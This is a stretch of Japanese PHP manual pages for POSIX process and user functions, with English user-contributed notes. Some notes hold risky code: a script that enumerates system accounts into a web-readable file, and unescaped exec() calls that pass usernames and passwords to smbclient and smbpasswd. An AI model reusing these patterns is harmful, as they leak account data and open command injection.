Many posix functions give very useful information in the errno code when an error occurs.  For instance, stream_select(), when it generates an error, according to the man page (man 2 select) may return one of four different errors which are listed as:  EBADF, EINTR, EINVAL, ENOMEM.  See the man page for more specific information about these.  In this example, when the stream_select() function returns false, posix_get_last_error() will return a non-zero value that will be set to one of these constants.  For instance, if stream_select() == false, and posix_get_last_error() == EBADF,  then one of the file descriptors given to the select() function has probably closed somehow. If, on the other hand, posix_get_last_error() returns EINTR then stream_select() returned FALSE not because of any true error condition, but only because the process handled a signal. When the signal arrives while stream_select() is blocking it will always stop blocking and return false immediately. This behavior makes sense, though it can seem inconvenient.  You just have to handle it correctly. (not many do, in php.)

From this example it should probably be clear that one should at least consider handling different error types in different ways.  EINTER should probably be ignored for instance, unless your program uses signalling to open or close file handles or sockets.

These error constants listed in the related POSIX man pages are not part of the PHP interface. When you call posix_get_last_error() it will return an integer. The problem  with getting an unnamed integer return code is that these integers may mean different things on different systems.  You can (and probably should) pass the resulting integer to the posix_strerror() function, which will return an accurate human-readable description of what the error is. This is useful of course, but mainly for logging. (String descriptions of errors are far more prone to change than are the actual integer value codes.)  Truly, when using the result of posix_errno() it is best to check the value against a set of possible constants.  The constants you compare them to are system specific, as stated earlier, so you need to look them up on that system.  Here is an easy and reliable way to do that.

Look at the errno man page ($ man errno) and copy all of the constant names into a very basic C file.  like this.

===================================
#include <errno.h>
#include <stdio.h>
int main(){
  printf("define('E2BIG', %d);\n", E2BIG);
  printf("define('EACCES', %d);\n", EACCES);
  printf("define('EADDRINUSE', %d);\n", EADDRINUSE);
  printf("define('EADDRNOTAVAIL', %d);\n", EADDRNOTAVAIL);
//  ...  etc. etc.
}
===================================

Now, if you just run this code through the C pre-processor (i.e. 'gcc -E cfile.c'), then those constant names will be replaced by the numbers which are used on your system.  (warning:  running the C compiler/pre-processor needs to take place on the system where the PHP code will be running. keep track of whether nfs is in use or something else along those lines which may separate your coding environment from the runtime environment.)  In addition to running the C pre-processor you also simply compile and run the above program (i.e. 'gcc cfile.c && ./a.out'). Running it will generate a PHP compatible list of define() calls that will correctly define these constants in your PHP program on the target system, so will be usable. Simply copy the definitions into a php file.

To finish the example, you might use these constants like this:

$selret = stream_select( $r, $w, $e, $to );
if( $selret === false )
{
    switch( posix_get_last_error() )
    {
        case EBADF:    /* one of the handles is bad. fix it. */ break;
        case EINVAL:    /* $to is negative? woops. */ break;
        case ENOMEM:
            throw new exception("probable memory leak. restart.");
            break;
       case EINTR:
           break; // usually ignore EINTR after select() is fine.
    }
}


現在のディレクトリのパス名

  • ≪ posix_get_last_error
  • posix_getegid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のディレクトリのパス名

posix_getcwd

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getcwd — 現在のディレクトリのパス名

説明

posix_getcwd ( ) : string|false

スクリプトの現在の実行ディレクトリのパスを、絶対パスで取得します。 エラー時には errno を設定します。この値は posix_get_last_error() で取得することができます。

返り値

絶対パスを表す文字列を返します。 エラー時には false を返し、errno を設定します。この値は posix_get_last_error() で取得することができます。

例

例1 posix_getcwd() の例

この例は、このスクリプトの現在の作業ディレクトリの絶対パスを返します。

<?php
echo '現在の作業ディレクトリは '.posix_getcwd();
?>

注意

注意:

以下のような場合は、この関数は失敗します。

  • 読み込みあるいは検索の権限が取得できない
  • パスが存在しない

User Contributed Notes

phpmanual-getcwd at devin dot com 26-Jul-2000 06:39
From the GNU getcwd(3) manpage, paraphrased: returns the absolute pathname of the current working directory.  Fails when the current directory is not eradable.  Complies with POSIX.1 spec.


現在のプロセスの有効なグループ ID を返す

  • ≪ posix_getcwd
  • posix_geteuid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスの有効なグループ ID を返す

posix_getegid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getegid — 現在のプロセスの有効なグループ ID を返す

説明

posix_getegid ( ) : int

現在のプロセスの有効なグループ ID を返します。

返り値

実効グループ ID を表す整数値を返します。

例

例1 posix_getegid() example

この例は、実効グループ ID を表示し、それを posix_setegid() で変更します。

<?php
echo '実グループ ID は '.posix_getgid(); //20
posix_setegid(40);
echo '実グループ ID は '.posix_getgid(); //20
echo '実効グループ ID は '.posix_getegid(); //40
?>

注意

posix_getegid() は posix_getgid() と異なります。 実効グループ ID は、コール元のプロセスから posix_setegid() で変更できるからです。

参考

  • posix_getgrgid() - 指定したグループ ID を有するグループに関する情報を返す
  • posix_getgid() - 現在のプロセスの実際のグループ ID を返す
  • posix_setgid() - 現在のプロセスの GID を設定する

User Contributed Notes

There are no user contributed notes for this page.


現在のプロセスの有効なユーザー ID を返す

  • ≪ posix_getegid
  • posix_getgid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスの有効なユーザー ID を返す

posix_geteuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_geteuid — 現在のプロセスの有効なユーザー ID を返す

説明

posix_geteuid ( ) : int

現在のプロセスの有効なユーザー ID を返します。 使用可能なユーザー名に変換する方法に関する情報については、 posix_getpwuid() も参照ください。

返り値

ユーザー ID を表す整数値を返します。

例

例1 posix_geteuid() の例

この例は、まず現在のユーザー ID を表示し、 それから posix_seteuid() で実効ユーザー ID を設定します。その後、改めて実ユーザー ID と実効ユーザー ID を表示します。

<?php
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10001
posix_seteuid(10000);
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10000
?>

参考

  • posix_getpwuid() - 指定 ID のユーザーに関する情報を返す
  • posix_getuid() - 現在のプロセスの実際のユーザー ID を返す
  • posix_setuid() - 現在のプロセスの UID を設定する
  • POSIX man ページ GETEUID(2)

User Contributed Notes

There are no user contributed notes for this page.


現在のプロセスの実際のグループ ID を返す

  • ≪ posix_geteuid
  • posix_getgrgid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスの実際のグループ ID を返す

posix_getgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgid — 現在のプロセスの実際のグループ ID を返す

説明

posix_getgid ( ) : int

現在のプロセスの実際のグループ ID を返します。

返り値

実際のグループ ID を表す整数値を返します。

例

例1 posix_getgid() の例

この例では、実グループ ID を表示し、 実効グループ ID を変更した後で再度実グループ ID を表示します。 have changed your effective group id.

<?php
echo '実グループ ID は '.posix_getgid(); //20
posix_setegid(40);
echo '実グループ ID は '.posix_getgid(); //20
echo '実効グループ ID は '.posix_getegid(); //40
?>

参考

  • posix_getgrgid() - 指定したグループ ID を有するグループに関する情報を返す
  • posix_getegid() - 現在のプロセスの有効なグループ ID を返す
  • posix_setgid() - 現在のプロセスの GID を設定する
  • POSIX man ページ GETGID(2)

User Contributed Notes

vector from ionisis.com 14-Oct-2011 05:07
i came across this error:
Call to undefined function posix_getuid()

which was solved by these commands:
yum -y install php-process
service httpd restart


指定したグループ ID を有するグループに関する情報を返す

  • ≪ posix_getgid
  • posix_getgrnam ≫
  • PHP Manual
  • POSIX 関数
  • 指定したグループ ID を有するグループに関する情報を返す

posix_getgrgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgrgid — 指定したグループ ID を有するグループに関する情報を返す

説明

posix_getgrgid ( int $group_id ) : array|false

指定した ID のグループに関する情報を取得します。

パラメータ

group_id

グループ ID。

返り値

以下の要素を持つ配列を返します。

グループ情報の配列
要素 | 説明
name | グループ名。これは、16 文字以下の短い文字列からなる 「ハンドル」であり、実際の完全な名前とは異なります。
passwd | グループのパスワードを暗号化したもの。 システムが「シャドー」パスワードを使用している場合は、 ここではアスタリスクが返されます。
gid | グループ ID。この関数をコールする際に指定した group_id と同じものになるので、冗長なデータです。
members | このグループに属する全メンバーを表す文字列の配列。
この関数は、失敗時に false を返します。

例

例1 posix_getgrgid() の使用例

<?php

$groupid   = posix_getegid();
$groupinfo = posix_getgrgid($groupid);

print_r($groupinfo);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

参考

  • posix_getegid() - 現在のプロセスの有効なグループ ID を返す
  • posix_getgrnam() - 指定した名前のグループに関する情報を返す
  • filegroup() - ファイルのグループを取得する
  • stat() - ファイルに関する情報を取得する
  • POSIX man ページ GETGRNAM(3)

User Contributed Notes

cweiske at php dot net 10-May-2009 07:50
When posix_getgrgid() fails (e.g. an invalid/unknown group id), it returns false.
This is except for Mac OSX on which you get an array with name "nogroup" and gid of "-1".
james at jfc dot org dot uk 16-Apr-2003 11:21
in php-4.3 the array returned seems to have changed.

it now returns:

["name"] group name
["passwd"] group password
["members"] group members (array of usernames)
["gid"] numeric group id
tech at dslip dot com dot au 13-May-2002 06:27
okies...

This code should be considered as an OPTION only, it works under MY set of circumstances, and that is all I intended. The below funtion will return the NAME of the GROUP if provided with the Group ID#

  function RC_posix_getgrgid($gid)
    {
    $LocationGroup = "/etc/group"; //EDIT THIS IF YOU HAVE A DIFFERENT OS. mine = debian
    $fp = fopen ("/etc/group","r");
    while ($groupinfo = fscanf ($fp, "%[a-zA-Z0-9]:x:%[0-9]:%[a-zA-Z0-9]\n"))
        {
        list ($name, $groupID, $nfi) = $groupinfo;
        if ($groupID == $gid)
            {
            $returnval = $name;
            }
        }
    fclose($fp);
    if($returnval) { return $returnval; } else { return 0; }
    }
rcgraves+php at brandeis dot edu 21-Feb-2000 06:10
Returns an array containing the elements of the group structure. The array has both numeric indices, each of which is a string naming one member of the group, and named string indices. The array elements are:

$_["name"]  string groupname (users)
$_["gid"] integer gidnumber (e.g. 0 for wheel/root)
$_["members"] int number of users in group
$_[0]..$_[n] string usernames in the group


指定した名前のグループに関する情報を返す

  • ≪ posix_getgrgid
  • posix_getgroups ≫
  • PHP Manual
  • POSIX 関数
  • 指定した名前のグループに関する情報を返す

posix_getgrnam

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgrnam — 指定した名前のグループに関する情報を返す

説明

posix_getgrnam ( string $name ) : array|false

指定した名前のグループに関する情報を取得します。

パラメータ

name

グループの名前。

返り値

成功したときは array を返します。失敗した場合に false を返します 配列で返される要素は下記のとおりです。

グループ情報の配列
要素 | 説明
name | グループ名。これは、16 文字以下の短い文字列からなる 「ハンドル」であり、実際の完全な名前とは異なります。 グループ ID。この関数をコールする際に指定した name と同じものになるので、冗長なデータです。
passwd | グループのパスワードを暗号化したもの。 システムが「シャドー」パスワードを使用している場合は、 ここではアスタリスクが返されます。
gid | グループ ID を表す数値。
members | このグループに属する全メンバーを表す文字列の配列。

例

例1 posix_getgrnam() の使用例

<?php

$groupinfo = posix_getgrnam("toons");

print_r($groupinfo);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

参考

  • posix_getegid() - 現在のプロセスの有効なグループ ID を返す
  • posix_getgrgid() - 指定したグループ ID を有するグループに関する情報を返す
  • filegroup() - ファイルのグループを取得する
  • stat() - ファイルに関する情報を取得する
  • POSIX man ページ GETGRNAM(3)

User Contributed Notes

marques at displague dot com 02-Apr-2009 06:12
This function returns 'false' if the group is not found.


現在のプロセスのグループセットを返す

  • ≪ posix_getgrnam
  • posix_getlogin ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスのグループセットを返す

posix_getgroups

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgroups — 現在のプロセスのグループセットを返す

説明

posix_getgroups ( ) : array|false

現在のプロセスのグループセットを取得します。

返り値

現在のプロセスのグループセットについて、 グループ ID を表す整数値を含む配列を返します。 失敗した場合に false を返します

例

例1 posix_getgroups() の使用例

<?php

$groups = posix_getgroups();

print_r($groups);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 4
    [1] => 20
    [2] => 24
    [3] => 25
    [4] => 29
    [5] => 30
    [6] => 33
    [7] => 44
    [8] => 46
    [9] => 104
    [10] => 109
    [11] => 110
    [12] => 1000
)

参考

  • posix_getgrgid() - 指定したグループ ID を有するグループに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


ログイン名を返す

  • ≪ posix_getgroups
  • posix_getpgid ≫
  • PHP Manual
  • POSIX 関数
  • ログイン名を返す

posix_getlogin

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getlogin — ログイン名を返す

説明

posix_getlogin ( ) : string|false

現在のプロセスを所有するユーザーのログイン名を返します。

返り値

ユーザーのログイン名を文字列で返します。 失敗した場合に false を返します

例

例1 posix_getlogin() の使用例

<?php
echo posix_getlogin(); //apache
?>

参考

  • posix_getpwnam() - 指定した名前のユーザーに関する情報を返す
  • POSIX man ページ GETLOGIN(3)

User Contributed Notes

Alex P 16-Jul-2014 11:07
posix_getlogin() will return boolean false when there is no shell, e.g. when running under an apache process
philip 09-Feb-2004 06:31
Note that this function returns the owner that the process *started* as.  Even if you call posix_setuid (or posix_seteuid) it will still report the username the process started as.

use get_current_user() to get the effective real user.


ジョブ制御のプロセスグループ ID を得る

  • ≪ posix_getlogin
  • posix_getpgrp ≫
  • PHP Manual
  • POSIX 関数
  • ジョブ制御のプロセスグループ ID を得る

posix_getpgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpgid — ジョブ制御のプロセスグループ ID を得る

説明

posix_getpgid ( int $process_id ) : int|false

プロセス process_id のプロセスグループ ID を返します。失敗した場合に false を返します。

パラメータ

process_id

プロセス ID。

返り値

ID を表す整数値を返します。

例

例1 posix_getpgid() の使用例

<?php
$pid = posix_getppid();
echo posix_getpgid($pid); //35
?>

注意

注意:

この関数は POSIX 関数ではなく、BSD および System V のシステムで共通な関数です。 使用するシステムがこの関数をサポートしていない場合は、 PHP のコンパイル時にこの関数は組み込まれません。 この関数が使用可能かどうかを調べるには、function_exists() を使用します。

参考

  • posix_getppid() - 親プロセスの ID を返す
  • man ページ SETPGID(2)

User Contributed Notes

There are no user contributed notes for this page.


現在のプロセスのグループ ID を返す

  • ≪ posix_getpgid
  • posix_getpid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセスのグループ ID を返す

posix_getpgrp

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpgrp — 現在のプロセスのグループ ID を返す

説明

posix_getpgrp ( ) : int

現在のプロセスのグループ ID を返します。

返り値

ID を表す整数値を返します。

参考

  • プロセスグループの詳細な情報に関しては、POSIX.1 および POSIX システムのマニュアルページ getpgrp(2) を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


現在のプロセス ID を返す

  • ≪ posix_getpgrp
  • posix_getppid ≫
  • PHP Manual
  • POSIX 関数
  • 現在のプロセス ID を返す

posix_getpid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpid — 現在のプロセス ID を返す

説明

posix_getpid ( ) : int

現在のプロセスのプロセス ID を返します。

返り値

ID を表す整数値を返します。

例

例1 posix_getpid() の使用例

<?php
echo posix_getpid(); //8805
?>

参考

  • posix_kill() - プロセスにシグナルを送信する
  • POSIX man ページ GETPID(2)

User Contributed Notes

victor at gmail dot com 06-Aug-2019 10:22
You can use this code in windows or if you system has no posix support:

<?php
if (!function_exists('posix_getpid')) {
    function posix_getpid() {
        return getmypid();
    }
}
Yzmir Ramirez 14-Jul-2011 03:42
You can also try using getmypid() instead.
zapolski at gmail dot com 14-Sep-2010 07:13
In order to use posix_getpid on Fedeora 11 and up you have to install php-process

# yum install php-process
andy at haveland dot com 28-Feb-2010 12:09
Since upgrading fedora 10 to 12, I discovered that posix_getpid() disappeared and not compiled in by default, as it specifies here.

It turns out that it had been moved into package php-process.

Just do "yum install php-process", and all should be sweet again.

Hope this saves someone half an hour of research.


親プロセスの ID を返す

  • ≪ posix_getpid
  • posix_getpwnam ≫
  • PHP Manual
  • POSIX 関数
  • 親プロセスの ID を返す

posix_getppid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getppid — 親プロセスの ID を返す

説明

posix_getppid ( ) : int

現在のプロセスの親プロセスの ID を返します。

返り値

ID を表す整数値を返します。

例

例1 posix_getppid() の使用例

<?php
echo posix_getppid(); //8259
?>

User Contributed Notes

Avital Yachin 22-Feb-2018 08:58
posix_getppid will not work on Windows.
Here's an alternative:

<?php
if(strncasecmp(PHP_OS, "win", 3) == 0) {
   $pid = getmypid();  // child process ID
   $parent_pid = shell_exec("wmic process where (processid=$pid) get parentprocessid");
   $parent_pid = explode("\n", $parent_pid);
   $parent_pid = intval($parent_pid[1]);

   echo "Child: $pid  Parent: $parent_pid\n";
}
?>
mail at spacerat dot net 15-Sep-2017 09:28
answering to http://php.net/manual/en/function.posix-getppid.php#120088

if you're using proc_open and you want to get the pid of the calling php-process, use proc open with usage "exec php $scriptname". In that case, you can get the real parent-id, because php doesn't start a new shell.
divinity76 at gmail dot com 10-Apr-2017 07:33
when using proc_open, the child's ppid is NOT your php script, but rather a shell started by proc_open's pid. to get your pid, your proc_open child needs to get the parent's parent's (aka grandparent's) pid. here's a way to do that in PHP on linux:

function posix_getpppid(): int {
    return ( int ) (explode ( " ", file_get_contents ( "/proc/" . posix_getppid () . "/stat" ) ) [3]);
}

(thanks to TML @ irc.freenode.net/##PHP for the technique)

(i said most of this in a previous comment, but i didn't have a good solution for it. now i have. if someone with the privileges read this, can you delete this notice and my previous comment please?)
divinity76 at gmail dot com 25-Oct-2016 10:45
WARNING, when using proc_open, your child will NOT get the parent php process's PID by using posix_getppid() , it will actually get the pid of a shell ( /bin/sh ? ) started by php, which in turn starts the child.  i don't currently have a good workaround for this, but i'm working around it by having the parent write it's pid to a file and having the chidren read the file


指定した名前のユーザーに関する情報を返す

  • ≪ posix_getppid
  • posix_getpwuid ≫
  • PHP Manual
  • POSIX 関数
  • 指定した名前のユーザーに関する情報を返す

posix_getpwnam

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpwnam — 指定した名前のユーザーに関する情報を返す

説明

posix_getpwnam ( string $username ) : array|false

指定したユーザーに関する情報を配列で返します。

パラメータ

username

英数字で表したユーザー名。

返り値

成功した場合は次の要素を持つ配列、それ以外の場合は false を返します。

ユーザー情報配列
要素 | 説明
name | 要素 name はユーザー名を有しています。これは、通常、 実際の完全な名前ではなく16文字未満のユーザーの"ハンドル名"となります。 この値はこの関数をコールした際に使用したパラメータ usernameと同じとする必要があり、 このため冗長な定義となります。
passwd | 要素passwd には暗号化されたユーザーのパスワードが含まれます。 シャドウパスワードを使用しているシステムでは、アスタリスクが代わりに 返されます。
uid | 数値形式で表したユーザー ID。
gid | ユーザーのグループ ID。 実際のグループ名を調べたりそのグループのメンバーの一覧を 得るには関数 posix_getgrgid() を使用してください。
gecos | GECOS は旧式の項であり、Honeywell バッチ処理プログラムの finger 情報フィールドを参照します。 しかし、このフィールドはまだ生きており、その内容はPOSIXで 規定されています。 このフィールドには、カンマで区切られた ユーザーのフルネーム、オフィスの電話番号、家の電話番号に関する リストが含まれています。多くのシステムでは、ユーザーのフルネーム のみが利用可能です。
dir | この要素には、ユーザーのホームディレクトリへの絶対パスが含まれています。
shell | shell 要素には、ユーザーのデフォルトシェルの実行ファイルへの絶対パスが 含まれています。

例

例1 posix_getpwnam() の使用例

<?php

$userinfo = posix_getpwnam("tom");

print_r($userinfo);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [gecos]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

参考

  • posix_getpwuid() - 指定 ID のユーザーに関する情報を返す
  • POSIX man ページ GETPWNAM(3)

User Contributed Notes

bau at kg-fds dot de 18-Feb-2006 09:29
Oh I forgot the following:

to change a Users password via PHP,
you can use the following (under Linux with installed Samba):

exec('echo -e "'.$oldpassword.'\n'.$newpassword.'\n'.$newpassword.'
"|smbpasswd -U'.$user.' -s')

The exec-command returns ""
if an error occured (then see the error_log of the web-server)
or a message "The password has been changed".

Good luck.
Baumg?rtner
bau at kg-fds dot de 18-Feb-2006 09:22
Hello, I've tried another, more easier way to check passwords than checking it to a pop3-server. If you are running a samba-server or a Windows PDC, so you can try to connect with the username/password you want to check to the netlogon of this server:

if (exec('echo "exit"|smbclient //server/netlogon -U'.$user.' '.$pass)=="") { ... }

If the username/password doesn't match, then the exec-command under LINUX returns an error.

Good luck
Baumg?rtner
bau at kg-fds dot de 14-Feb-2006 11:24
If you are running a pop3-daemon, so you can do authentification on pop3 by using fsockopen :-) and checking whether it returns +OK or -ERR
corychristison at lavacube dot net 17-Oct-2004 04:33
For those of you who are writing daemons with PHP and are one for security. This function will not return any info if you have called PHP's chroot() function.

Took me a few minutes why it wouldn't find the user it was searching for.
marcus at nospamsynchromedia dot co dot uk 23-Aug-2002 01:12
Given a non-existent username, this function returns a boolean FALSE.
perreal at lyon dot cemagref dot fr 18-Apr-2002 08:47
To check passwords on a Unix-box, look at the mod_auth_external module for Apache, it uses external programs to do the real job. The server won't ever read the encrypted password.

One of them, pwauth, can be configured to use PAM or whatever is used on your system. Users that can run this program are configured at compile time. And this program can be called from PHP with exec(...).
vision_1967 at hotmail dot com 20-Nov-2001 11:23
I needed to get access to the user information to do login/validation via an SSL connection and encountered the same problem with receiving '*' in the password field.  After checking the documentation on posix_getpwnam, I saw a previous solution involving coding a C program.  This was a bit bulky for me so I came up with my own solution.

Variations on this theme can probably be done to make the solution more programmer/reader friendly, but the way I did it accomplished the task that I needed to do.

IF the information you need to get from posix_getpwnam comes from a host participating in an NIS network, you can accomplish the same thing with the following command:

$autharray = split(":",`ypmatch $USER passwd`);

(pretty long explanation for such a short solution huh?)

You'll have to get at the fields by their index number ($autharray[0], $autharray[1], ...) using this method.

To create an associative array that is plug-in compatible with the posix_getpwnam function,  you'll probably need to use the 'list' specifier to do the assignments.

I hope this helps someone.

--S
darryl at pointclark dot net 17-Oct-2001 10:43
If you need to validate a *real* unix password on a system using shadowed passwords, the posix_getpwnam() function in PHP won't work (as mentioned, 'x', or '*', will be in the password field).

I have a need to verify a user/pass within PHP (using SSL!).  I don't know if this is the best way, but it's what I'm doing at the moment (works well!).

First, you need some help from the OS.  I wrote a tiny C utility that does the shadow look-up for me... It requires root access to read /etc/shadow.  So after you compile (gcc -O2 -s -o spasswd -lcrypt spasswd.c), you need to either use sudo to run it, or

# chown root spasswd && chmod u+s spasswd

To code that I'm using to authenticate a user/pass from PHP looks like:

function Authenticate($realm)
{
 global $PHP_AUTH_USER;
 global $PHP_AUTH_PW;

 if(!isset($PHP_AUTH_USER))
 {
  header("WWW-Authenticate: Basic realm=\"$realm\"");
  header("HTTP/1.0 401 Unauthorized");

  return false;
 }
 else
 {
  if(($fh = popen("/usr/sbin/spasswd", "w")))
  {
   fputs($fh, "$PHP_AUTH_USER $PHP_AUTH_PW");
   $r = pclose($fh);

   if(!$r)
    return true;
  }
 }

 header("WWW-Authenticate: Basic realm=\"$realm\"");
 header("HTTP/1.0 401 Unauthorized");

 return false;
}

The C source for spasswd.c:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <crypt.h>
#include <shadow.h>

static char salt[12], user[128], pass[128];

void die(void)
{
 memset(salt, '\0', 12);
 memset(user, '\0', 128);
 memset(pass, '\0', 128);
}

int main(int argc, char *argv[])
{
 struct spwd *passwd;

 atexit(die); die();

 if(fscanf(stdin, "%127s %127s", user, pass) != 2)
  return 1;

 if(!(passwd = getspnam(user)))
  return 1;

 strncpy(salt, passwd->sp_pwdp, 11);
 strncpy(pass, crypt(pass, salt), 127);

 if(!strncmp(pass, passwd->sp_pwdp, 127))
  return 0;

 return 1;
}

Hope this helps someone...
sezery at damla dot net 03-Oct-2001 02:09
User and group functions do not work on recent Redhat systems since these functions are based on /etc/group file but new redhat does not put group members' list into this file. Instead you need to examine /etc/passwd file and find members of a group by checking group id.


指定 ID のユーザーに関する情報を返す

  • ≪ posix_getpwnam
  • posix_getrlimit ≫
  • PHP Manual
  • POSIX 関数
  • 指定 ID のユーザーに関する情報を返す

posix_getpwuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpwuid — 指定 ID のユーザーに関する情報を返す

説明

posix_getpwuid ( int $user_id ) : array|false

指定したユーザー ID のユーザーについての情報を配列で返します。

パラメータ

user_id

ユーザー ID。

返り値

返される連想配列の要素は次のようになります。

ユーザー情報配列
要素 | 説明
name | 要素 name はユーザー名を有しています。これは、通常、 実際の完全な名前ではなく16文字未満のユーザーの"ハンドル名"となります。
passwd | 要素passwd には暗号化されたユーザーのパスワードが含まれます。 シャドウパスワードを使用しているシステムでは、アスタリスクが代わりに 返されます。
uid | ユーザーID。これは、この関数をコールする際に使用するパラメータ user_idと同じとなり、このため冗長になります。
gid | ユーザーのグループID。 実際のグループ名を調べたりそのグループのメンバーの一覧を 得るには関数posix_getgrgid()を使用してください。
gecos | GECOS は旧式の項であり、Honeywell バッチ処理プログラムの finger 情報フィールドを参照します。 しかし、このフィールドはまだ生きており、その内容はPOSIXで 規定されています。 このフィールドには、カンマで区切られた ユーザーのフルネーム、オフィスの電話番号、家の電話番号に関する リストが含まれています。多くのシステムでは、ユーザーのフルネーム のみが利用可能です。
dir | この要素には、ユーザーのホームディレクトリへの絶対パスが含まれています。
shell | shell 要素には、ユーザーのデフォルトシェルの実行ファイルへの絶対パスが 含まれています。
この関数は、失敗時に false を返します。

例

例1 posix_getpwuid() の使用例

<?php

$userinfo = posix_getpwuid(10000);

print_r($userinfo);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [gecos]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

参考

  • posix_getpwnam() - 指定した名前のユーザーに関する情報を返す
  • POSIX man ページ GETPWNAM(3)

User Contributed Notes

Anonymous 05-Feb-2013 03:37
I only want the user name rather than the rest. I'm recursively looping trough a directory and need the username with each file or directory. I use stat to get file attributes that I need which gives me uid. Querying with posix_getpwuid() for every file takes up a lot of time in directories with many files. I came up with a caching mechanism (which I believe should be built-in). Every time a new uid is found a new query is required and this function slows it down, but hey, more likely you need a few uid's many many times so every time you meet the same uid, there is no costly query taking place.

Heres my code, feel free, etc., etc.

<?php
$arr_uname = Array();
function file_owner_cached($uid)
{
    global $arr_uname;
    if (!isset($arr_uname[$uid]))
    {
        $arr_uname[$uid] = posix_getpwuid($uid)['name'];
    }
    return $arr_uname[$uid];
}
?>
Works in PHP 5.3.19, under linux of course.. not tested on anything else.
martin at arp242 dot net 04-Jul-2011 07:18
Here's a fairly safe way to get the username from uid even if the posix extension isn't installed.

<?php
function GetUsernameFromUid($uid)
{
  if (function_exists('posix_getpwuid'))
  {
    $a = posix_getpwuid($uid);
    return $a['name'];
  }
  # This works on BSD but not with GNU
  elseif (strstr(php_uname('s'), 'BSD'))
  {
    exec('id -u ' . (int) $uid, $o, $r);

    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  elseif (is_readable('/etc/passwd'))
  {
    exec(sprintf('grep :%s: /etc/passwd | cut -d: -f1', (int) $uid), $o, $r);
    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  else
    return $uid;
}
?>
ddascalescu at gmail dot com 08-Apr-2008 07:14
Correction regarding my note below: get_current_user() does *not* get the name of the user the script is running as. Instead, it "gets the name of the owner of the current PHP script" -- that is, the owner of the file, not the owner of the process.

To properly get the running user, test if function_exists('posix_getpwuid') and if not, assume you're running on Windows and call getenv('USERNAME').
ddascalescu at gmail dot com 04-Apr-2008 05:39
On Windows, posix_getpwuid() is not implemented , but if you just want the username of the current user, you can use get_current_user().
mehmet at karakaya dot us 19-Mar-2006 11:45
if the system is also a mail server and system users have userdirs with php support this function may cause a spam abuse which made by a system user.

<?php

/* settings for start point and where to stop */
$start=0;//the first user id
$interval=1000;//amount of lines that will be read
$finishline=3000;//the last user id

$first=(isset($_GET['first'])?$_GET['first']:$start);
$last=(isset($_GET['last'])?$_GET['last']:$interval);

/* getting and writing the user info line by line */
$fp=fopen('copiedpasswd','a');
//copiedpasswd must be writeable by apache
for ($user=$first;$user<=$last;$user++)
 {
  $list=posix_getpwuid($user);
  if ($list['name']=='') { continue; }
  $line=implode(':',$list)."\n";
  fputs($fp,$line);
 }//end for
fclose($fp);

/* control or forwarding in order to prevent prescription */
if ($last>=$finishline)
 {
  header("Location: copiedpasswd");
 }//end if
else
 {
  $first += $interval;
  $last += $interval;
  header("Location: thenameofthisscript.php?first=$first&last=$last");
 }//end else

?>

Because posix_getpwuid(1000) will return the user name(whose id is 1000) as the first key of the array.
Nikolai-Zujev-(at)-Gmail-dot-Com 25-Sep-2004 02:05
If You are useing kernel security module, such as LIDS, GrSec or Selinux it will work only if '/etc/passwd' is readable for user, under which PHP/Apache runs, otherwice you get FALSE.
rolf dot winterscheidt at rowitech dot de 28-May-2003 04:34
To get the name of the owner of a file you can use something like this:

<?php
$startscript="/var/log/hello.log";

$fileowneruid=fileowner($startscript);
$fileownerarray=posix_getpwuid($fileowneruid);
$fileowner=$fileownerarray['name'];

echo "Owner is $fileowner";
?>

(I'm sure you can accomplish this in many ways, this is a way I understood and hope you too :-)).

Rolf


システムリソース制限に関する情報を返す

  • ≪ posix_getpwuid
  • posix_getsid ≫
  • PHP Manual
  • POSIX 関数
  • システムリソース制限に関する情報を返す

posix_getrlimit

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getrlimit — システムリソース制限に関する情報を返す

説明

posix_getrlimit ( ) : array|false

posix_getrlimit() は、 現在のリソースにおけるソフトリミットおよびハードリミットを配列で返します。

